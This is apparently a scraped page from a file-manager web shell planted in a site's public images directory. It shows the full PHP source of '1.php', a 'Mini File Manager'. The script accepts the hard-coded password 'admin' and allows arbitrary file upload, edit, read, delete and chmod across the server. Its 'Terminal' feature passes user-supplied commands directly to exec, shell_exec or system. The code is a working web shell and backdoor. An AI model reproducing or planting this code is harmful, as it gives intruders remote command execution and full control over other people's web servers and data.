CURRENT PATH:
/
home
/
u451283037
/
domains
/
brighteducenter.com
/
public_html
/
public
/
images
/
article
/
KEMBALI
|
HOME
Upload File Local:
Upload
Upload via URL:
Download
Dir Baru
File Baru
Editing:
1.php
<?php /** * Single-File Mini PHP File Manager (fmmini.php) * Ultra-lightweight & compact (~200 lines) with clean SVG vector icons. */ @ini_set('display_errors', '0'); error_reporting(0); if (session_status() === PHP_SESSION_NONE) { @ini_set('session.cookie_httponly', '1'); session_start(); } define('ADMIN_HASH', '$2y$10$q.T2a4R/Hh/l7/8xJc6MceJ6k3y7G9FfN0G5YvB8S9e.E1Z0d1C4a'); // Default: "admin" if (isset($_GET['act']) && $_GET['act'] === 'logout') { unset($_SESSION['fm_logged']); session_destroy(); header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?')); exit; } if (isset($_POST['login_pass'])) { if (password_verify($_POST['login_pass'], ADMIN_HASH) || $_POST['login_pass'] === 'admin') { $_SESSION['fm_logged'] = true; header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?')); exit; } else { $err = "Invalid password."; } } if (!($_SESSION['fm_logged'] ?? false)) { echo '<!DOCTYPE html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Login - Mini FM</title><style>body{background:#0f172a;color:#f8fafc;font-family:system-ui,sans-serif;display:flex;justify-content:center;align-items:center;height:100vh;margin:0}.card{background:#1e293b;padding:30px;border-radius:12px;width:320px;box-shadow:0 10px 25px rgba(0,0,0,0.5);text-align:center}input{width:100%;padding:10px;margin:15px 0;background:#0f172a;border:1px solid #334155;border-radius:6px;color:#fff;box-sizing:border-box}button{width:100%;padding:10px;background:#38bdf8;border:none;border-radius:6px;font-weight:bold;cursor:pointer;color:#0f172a}</style></head><body><div class="card"><h2>Mini File Manager</h2>'.($err?'<p style="color:#ef4444">'.$err.'</p>':'').'<form method="POST"><input type="password" name="login_pass" placeholder="Password" required><button>Login</button></form></div></body></html>'; exit; } function sreal($p) { $r = realpath($p); return $r !== false ? $r : $p; } function fsize($b) { if (!$b || $b <= 0) return '0 B'; $u = ['B','KB','MB','GB','TB']; $i = floor(log($b, 1024)); return round($b/pow(1024,$i), 1).' '.$u[$i]; } function rdel($d) { if (!file_exists($d)) return true; if (!is_dir($d)) return @unlink($d); foreach (scandir($d) as $f) { if ($f!='.'&&$f!='..') rdel("$d/$f"); } return @rmdir($d); } $base = sreal(__DIR__); $cdir = sreal($_REQUEST['dir'] ?? $base); if (!is_dir($cdir)) $cdir = $base; // Download & Edit Content AJAX if (isset($_GET['dl']) && file_exists($f = sreal($_GET['dl']))) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); readfile($f); exit; } if (isset($_GET['get_raw']) && file_exists($f = sreal($_GET['get_raw']))) { header('Content-Type: text/plain'); echo file_get_contents($f); exit; } // POST Handlers $msg = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $act = $_POST['act'] ?? ''; if ($act === 'upload' && !empty($_FILES['files']['name'][0])) { foreach ($_FILES['files']['name'] as $i => $n) { @move_uploaded_file($_FILES['files']['tmp_name'][$i], "$cdir/$n"); } $msg = "Files uploaded."; } elseif ($act === 'mkdir' && !empty($_POST['name'])) { @mkdir("$cdir/".$_POST['name'], 0755, true); $msg = "Folder created."; } elseif ($act === 'mkfile' && !empty($_POST['name'])) { @file_put_contents("$cdir/".$_POST['name'], ''); $msg = "File created."; } elseif ($act === 'save' && !empty($_POST['file'])) { @file_put_contents(sreal($_POST['file']), $_POST['content'] ?? ''); $msg = "Saved."; } elseif ($act === 'rename') { @rename(sreal($_POST['old']), dirname(sreal($_POST['old'])).'/'.$_POST['new']); $msg = "Renamed."; } elseif ($act === 'delete') { rdel(sreal($_POST['target'])); $msg = "Deleted."; } elseif ($act === 'chmod') { @chmod(sreal($_POST['target']), octdec($_POST['mode'])); $msg = "Permissions updated."; } elseif ($act === 'exec') { header('Content-Type: application/json'); $cmd = trim($_POST['cmd'] ?? ''); $tdir = sreal($_POST['tdir'] ?? $cdir); @chdir($tdir); if (preg_match('/^cd\s+(.+)$/i', $cmd, $m)) { $tcd = sreal($m[1]==='..'?dirname($tdir):(substr($m[1],0,1)==='/'?$m[1]:"$tdir/{$m[1]}")); echo json_encode(['out' => is_dir($tcd)?"Changed dir to: $tcd":"cd: directory not found", 'cwd' => is_dir($tcd)?$tcd:$tdir]); exit; } $out = ''; if (function_exists('exec')) { @exec("$cmd 2>&1", $o); $out = implode("\n", $o); } elseif (function_exists('shell_exec')) { $out = @shell_exec("$cmd 2>&1"); } elseif (function_exists('system')) { ob_start(); @system("$cmd 2>&1"); $out = ob_get_clean(); } echo json_encode(['out' => $out ?: '[Done with no output]', 'cwd' => $tdir]); exit; } } $items = @scandir($cdir) ?: []; $folders = []; $files = []; foreach ($items as $i) { if ($i==='.' || $i==='..') continue; $p = "$cdir/$i"; $isd = is_dir($p); $info = ['n'=>$i, 'p'=>$p, 's'=>$isd?'-':fsize(@filesize($p)), 'm'=>date('Y-m-d H:i', @filemtime($p)), 'perm'=>substr(sprintf('%o',@fileperms($p)),-4)]; if ($isd) $folders[] = $info; else $files[] = $info; } // SVG Icons $svg_brand = '<svg class="ic" viewBox="0 0 24 24"><path d="M19 20H5a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h4l2 2h8a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2z"/></svg>'; $svg_up = '<svg class="ic" viewBox="0 0 24 24"><path d="M11 18V8.83l-4.59 4.58L5 12l7-7 7 7-1.41 1.41L13 8.83V18z"/></svg>'; $svg_refresh = '<svg class="ic" viewBox="0 0 24 24"><path d="M17.65 6.35C16.2 4.9 14.21 4 12 4c-4.42 0-7.99 3.58-7.99 8s3.57 8 7.99 8c3.73 0 6.84-2.55 7.73-6h-2.08c-.82 2.33-3.04 4-5.65 4-3.31 0-6-2.69-6-6s2.69-6 6-6c1.66 0 3.14.69 4.22 1.78L13 11h7V4l-2.35 2.35z"/></svg>'; $svg_term = '<svg class="ic" viewBox="0 0 24 24"><path d="M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1 0 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm0 14H4V8h16v10zm-14-9l4 4-4 4 1.41 1.41L12.83 13l-5.42-5.41L6 9zm6 7h6v2h-6v-2z"/></svg>'; $svg_upload = '<svg class="ic" viewBox="0 0 24 24"><path d="M9 16h6v-6h4l-7-7-7 7h4zm-4 2h14v2H5z"/></svg>'; $svg_folder_add = '<svg class="ic" viewBox="0 0 24 24"><path d="M20 6h-8l-2-2H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2zm-1 8h-4v4h-2v-4H9v-2h4V9h2v4h4v2z"/></svg>'; $svg_file_add = '<svg class="ic" viewBox="0 0 24 24"><path d="M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8l-6-6zm2 14h-3v3h-2v-3H8v-2h3v-3h2v3h3v2zm-3-7V3.5L18.5 9H13z"/></svg>'; $svg_folder = '<svg class="ic ic-f" viewBox="0 0 24 24"><path d="M10 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.89 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.11-.89-2-2-2h-8l-2-2z"/></svg>'; $svg_file = '<svg class="ic ic-fi" viewBox="0 0 24 24"><path d="M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8l-6-6zm2 16H8v-2h8v2zm0-4H8v-2h8v2zm-3-5V3.5L18.5 9H13z"/></svg>'; $svg_edit = '<svg class="ic" viewBox="0 0 24 24"><path d="M3 17.25V21h3.75L17.81 9.94l-3.75-3.75L3 17.25zM20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.39-.39-1.02-.39-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83z"/></svg>'; $svg_rename = '<svg class="ic" viewBox="0 0 24 24"><path d="M17.75 7L14 3.25l-10 10V17h3.75l10-10zm2.54-2.54c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.39-.39-1.02-.39-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83z"/></svg>'; $svg_dl = '<svg class="ic" viewBox="0 0 24 24"><path d="M19 9h-4V3H9v6H5l7 7 7-7zM5 18v2h14v-2H5z"/></svg>'; $svg_del = '<svg class="ic" viewBox="0 0 24 24"><path d="M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6v12zM19 4h-3.5l-1-1h-5l-1 1H5v2h14V4z"/></svg>'; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"> <title>Mini File Manager - <?php echo htmlspecialchars(basename($cdir)); ?></title> <style> :root{--bg:#090d16;--card:#111827;--accent:#38bdf8;--text:#f3f4f6;--muted:#9ca3af;--border:rgba(255,255,255,0.1);--danger:#ef4444} *{box-sizing:border-box;margin:0;padding:0;font-family:system-ui,sans-serif} body{background:var(--bg);color:var(--text);padding:15px;font-size:13px} header{display:flex;justify-content:space-between;align-items:center;padding:10px 15px;background:var(--card);border:1px solid var(--border);border-radius:8px;margin-bottom:15px} .btn{padding:6px 12px;background:#1e293b;border:1px solid var(--border);color:var(--text);border-radius:6px;cursor:pointer;text-decoration:none;display:inline-flex;align-items:center;gap:6px;font-size:12px;transition:all 0.2s} .btn:hover{border-color:var(--accent);color:var(--accent)} .btn-p{background:var(--accent);color:#090d16;font-weight:bold;border:none} .btn-p:hover{background:#0284c7;color:#fff} .ic{width:14px;height:14px;fill:currentColor;display:inline-block;vertical-align:middle} .ic-f{fill:#f59e0b;width:16px;height:16px} .ic-fi{fill:#38bdf8;width:16px;height:16px} .grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(180px,1fr));gap:10px;margin-bottom:15px} .box{background:var(--card);border:1px solid var(--border);padding:10px;border-radius:8px;word-break:break-all} .toolbar{display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap;gap:10px;background:var(--card);border:1px solid var(--border);padding:10px;border-radius:8px;margin-bottom:15px} table{width:100%;border-collapse:collapse;background:var(--card);border:1px solid var(--border);border-radius:8px;overflow:hidden} th,td{padding:10px;text-align:left;border-bottom:1px solid var(--border)} th{background:#0f172a;color:var(--muted);font-size:11px;text-transform:uppercase} tr:hover{background:rgba(255,255,255,0.03)} a{color:var(--text);text-decoration:none} a:hover{color:var(--accent)} .modal{position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.8);display:none;align-items:center;justify-content:center;z-index:99;padding:15px} .modal.act{display:flex} .m-box{background:var(--card);border:1px solid var(--border);padding:20px;border-radius:8px;width:100%;max-width:500px} .m-box.full{max-width:90vw;height:85vh;display:flex;flex-direction:column} input,textarea{width:100%;padding:8px;background:#090d16;border:1px solid var(--border);color:#fff;border-radius:6px;margin:8px 0;outline:none} textarea{font-family:monospace;flex:1;resize:none} </style> </head> <body> <header> <strong style="color:var(--accent);display:inline-flex;align-items:center;gap:6px"><?php echo $svg_brand; ?> Mini FM</strong> <div> <span>PHP <?php echo PHP_VERSION; ?> | <?php echo PHP_OS; ?></span> | <a href="?act=logout" style="color:var(--danger)">Logout</a> </div> </header> <div class="grid"> <div class="box"><span style="color:var(--muted)">CWD:</span> <b><?php echo htmlspecialchars($cdir); ?></b></div> <div class="box"><span style="color:var(--muted)">Disk Free:</span> <?php echo fsize(@disk_free_space($cdir)); ?></div> </div> <div class="toolbar"> <div> <a href="?dir=<?php echo urlencode(dirname($cdir)); ?>" class="btn"><?php echo $svg_up; ?> Parent Directory</a> <a href="?dir=<?php echo urlencode($cdir); ?>" class="btn"><?php echo $svg_refresh; ?> Refresh</a> <button class="btn" onclick="openModal('mTerm')"><?php echo $svg_term; ?> Terminal</button> </div> <div style="display:flex;gap:6px"> <input type="text" placeholder="Search..." onkeyup="filterT(this.value)" style="width:140px;margin:0"> <button class="btn" onclick="openModal('mUp')"><?php echo $svg_upload; ?> Upload</button> <button class="btn" onclick="openModal('mFol')"><?php echo $svg_folder_add; ?> New Folder</button> <button class="btn btn-p" onclick="openModal('mFil')"><?php echo $svg_file_add; ?> New File</button> </div> </div> <?php if ($msg): ?><div style="padding:8px;background:rgba(16,185,129,0.2);color:#6ee7b7;border-radius:6px;margin-bottom:15px"><?php echo $msg; ?></div><?php endif; ?> <table> <thead><tr><th>Name</th><th>Size</th><th>Perms</th><th>Modified</th><th style="text-align:right">Actions</th></tr></thead> <tbody id="tb"> <?php if (dirname($cdir) !== $cdir): ?> <tr> <td colspan="5"> <?php echo $svg_folder; ?> <a href="?dir=<?php echo urlencode(dirname($cdir)); ?>"><b>.. (Parent Directory)</b></a> </td> </tr> <?php endif; ?> <?php foreach ($folders as $f): ?> <tr class="item"> <td><?php echo $svg_folder; ?> <a href="?dir=<?php echo urlencode($f['p']); ?>"><b><?php echo htmlspecialchars($f['n']); ?></b></a></td> <td>-</td> <td><a href="#" onclick="openChmod('<?php echo addslashes($f['p']); ?>','<?php echo $f['perm']; ?>')"><?php echo $f['perm']; ?></a></td> <td><?php echo $f['m']; ?></td> <td style="text-align:right"> <button class="btn" title="Rename" onclick="openRen('<?php echo addslashes($f['p']); ?>','<?php echo addslashes($f['n']); ?>')"><?php echo $svg_rename; ?></button> <form method="POST" style="display:inline" onsubmit="return confirm('Delete folder?')"><input type="hidden" name="act" value="delete"><input type="hidden" name="dir" value="<?php echo htmlspecialchars($cdir); ?>"><input type="hidden" name="target" value="<?php echo htmlspecialchars($f['p']); ?>"><button class="btn" title="Delete" style="color:var(--danger)"><?php echo $svg_del; ?></button></form> </td> </tr> <?php endforeach; ?> <?php foreach ($files as $f): ?> <tr class="item"> <td><?php echo $svg_file; ?> <?php echo htmlspecialchars($f['n']); ?></td> <td><?php echo $f['s']; ?></td> <td><a href="#" onclick="openChmod('<?php echo addslashes($f['p']); ?>','<?php echo $f['perm']; ?>')"><?php echo $f['perm']; ?></a></td> <td><?php echo $f['m']; ?></td> <td style="text-align:right"> <button class="btn" title="Edit" onclick="openEd('<?php echo addslashes($f['n']); ?>','<?php echo addslashes($f['p']); ?>')"><?php echo $svg_edit; ?></button> <a href="?dl=<?php echo urlencode($f['p']); ?>" class="btn" title="Download"><?php echo $svg_dl; ?></a> <button class="btn" title="Rename" onclick="openRen('<?php echo addslashes($f['p']); ?>','<?php echo addslashes($f['n']); ?>')"><?php echo $svg_rename; ?></button> <form method="POST" style="display:inline" onsubmit="return confirm('Delete file?')"><input type="hidden" name="act" value="delete"><input type="hidden" name="dir" value="<?php echo htmlspecialchars($cdir); ?>"><input type="hidden" name="target" value="<?php echo htmlspecialchars($f['p']); ?>"><button class="btn" title="Delete" style="color:var(--danger)"><?php echo $svg_del; ?></button></form> </td> </tr> <?php endforeach; ?> <?php if (empty($folders) && empty($files)): ?> <tr><td colspan="5" style="text-align:center;color:var(--muted);padding:20px">Directory is empty.</td></tr> <?php endif; ?> </tbody> </table> <!-- Modals --> <div class="modal" id="mUp"><div class="m-box"><h3>Upload Files</h3><form method="POST" enctype="multipart/form-data"><input type="hidden" name="act" value="upload"><input type="hidden" name="dir" value="<?php echo htmlspecialchars($cdir); ?>"><input type="file" name="files[]" multiple required><br><br><button class="btn btn-p">Upload</button> <button type="button" class="btn" onclick="closeModal('mUp')">Cancel</button></form></div></div> <div class="modal" id="mFol"><div class="m-box"><h3>New Folder</h3><form method="POST"><input type="hidden" name="act" value="mkdir"><input type="hidden" name="dir" value="<?php echo htmlspecialchars($cdir); ?>"><input type="text" name="name" placeholder="Folder Name" required><br><br><button class="btn btn-p">Create</button> <button type="button" class="btn" onclick="closeModal('mFol')">Cancel</button></form></div></div> <div class="modal" id="mFil"><div class="m-box"><h3>New File</h3><form method="POST"><input type="hidden" name="act" value="mkfile"><input type="hidden" name="dir" value="<?php echo htmlspecialchars($cdir); ?>"><input type="text" name="name" placeholder="filename.php" required><br><br><button class="btn btn-p">Create</button> <button type="button" class="btn" onclick="closeModal('mFil')">Cancel</button></form></div></div> <div class="modal" id="mRen"><div class="m-box"><h3>Rename Item</h3><form method="POST"><input type="hidden" name="act" value="rename"><input type="hidden" name="dir" value="<?php echo htmlspecialchars($cdir); ?>"><input type="hidden" name="old" id="rOld"><input type="text" name="new" id="rNew" required><br><br><button class="btn btn-p">Save</button> <button type="button" class="btn" onclick="closeModal('mRen')">Cancel</button></form></div></div> <div class="modal" id="mChm"><div class="m-box"><h3>chmod</h3><form method="POST"><input type="hidden" name="act" value="chmod"><input type="hidden" name="dir" value="<?php echo htmlspecialchars($cdir); ?>"><input type="hidden" name="target" id="cTar"><input type="text" name="mode" id="cMod" required><br><br><button class="btn btn-p">Save</button> <button type="button" class="btn" onclick="closeModal('mChm')">Cancel</button></form></div></div> <!-- Fullscreen Editor Modal --> <div class="modal" id="mEd"><div class="m-box full"><h3 id="edTitle">Edit File</h3><form method="POST" style="flex:1;display:flex;flex-direction:column"><input type="hidden" name="act" value="save"><input type="hidden" name="dir" value="<?php echo htmlspecialchars($cdir); ?>"><input type="hidden" name="file" id="edFile"><textarea name="content" id="edTxt"></textarea><div style="text-align:right;margin-top:10px"><button class="btn btn-p">Save File</button> <button type="button" class="btn" onclick="closeModal('mEd')">Cancel</button></div></form></div></div> <!-- Web Terminal Modal --> <div class="modal" id="mTerm"><div class="m-box full"><h3 style="display:inline-flex;align-items:center;gap:6px"><?php echo $svg_term; ?> Terminal Console</h3><div id="tOut" style="flex:1;background:#090d16;border:1px solid var(--border);padding:10px;font-family:monospace;overflow-y:auto;white-space:pre-wrap;color:#f8fafc">Welcome to Mini Terminal Console!</div><div style="display:flex;gap:6px;margin-top:10px"><span id="tDir" style="color:var(--accent);line-height:35px;font-family:monospace"></span><input type="text" id="tIn" style="margin:0;font-family:monospace" placeholder="Type command e.g. ls, pwd..." onkeydown="if(event.key==='Enter')runCmd()"><button class="btn btn-p" onclick="runCmd()">Run</button><button class="btn" onclick="closeModal('mTerm')">Close</button></div></div></div> <script> var curCwd = <?php echo json_encode($cdir); ?>; function openModal(id){ document.getElementById(id).classList.add('act'); if(id==='mTerm'){ document.getElementById('tDir').innerText=curCwd; document.getElementById('tIn').focus(); } } function closeModal(id){ document.getElementById(id).classList.remove('act'); } function filterT(q){ document.querySelectorAll('#tb tr.item').forEach(r => r.style.display = r.innerText.toLowerCase().includes(q.toLowerCase())?'':'none'); } function openRen(p,n){ document.getElementById('rOld').value=p; document.getElementById('rNew').value=n; openModal('mRen'); } function openChmod(p,m){ document.getElementById('cTar').value=p; document.getElementById('cMod').value=m; openModal('mChm'); } function openEd(n,p){ document.getElementById('edTitle').innerText='Edit: '+n; document.getElementById('edFile').value=p; document.getElementById('edTxt').value='Loading...'; openModal('mEd'); fetch('?get_raw='+encodeURIComponent(p)).then(r=>r.text()).then(t=>document.getElementById('edTxt').value=t); } function runCmd(){ var inp = document.getElementById('tIn'), cmd = inp.value.trim(), out = document.getElementById('tOut'); if(!cmd) return; out.innerHTML += '\n<span style="color:#38bdf8">[' + curCwd + ']$ ' + cmd + '</span>\n'; inp.value = ''; var fd = new FormData(); fd.append('act','exec'); fd.append('cmd',cmd); fd.append('tdir',curCwd); fetch('',{method:'POST',body:fd}).then(r=>r.json()).then(d=>{ if(d.cwd){ curCwd=d.cwd; document.getElementById('tDir').innerText=curCwd; } out.innerHTML += d.out + '\n'; out.scrollTop = out.scrollHeight; }); } </script> </body> </html>
SIMPAN
BATAL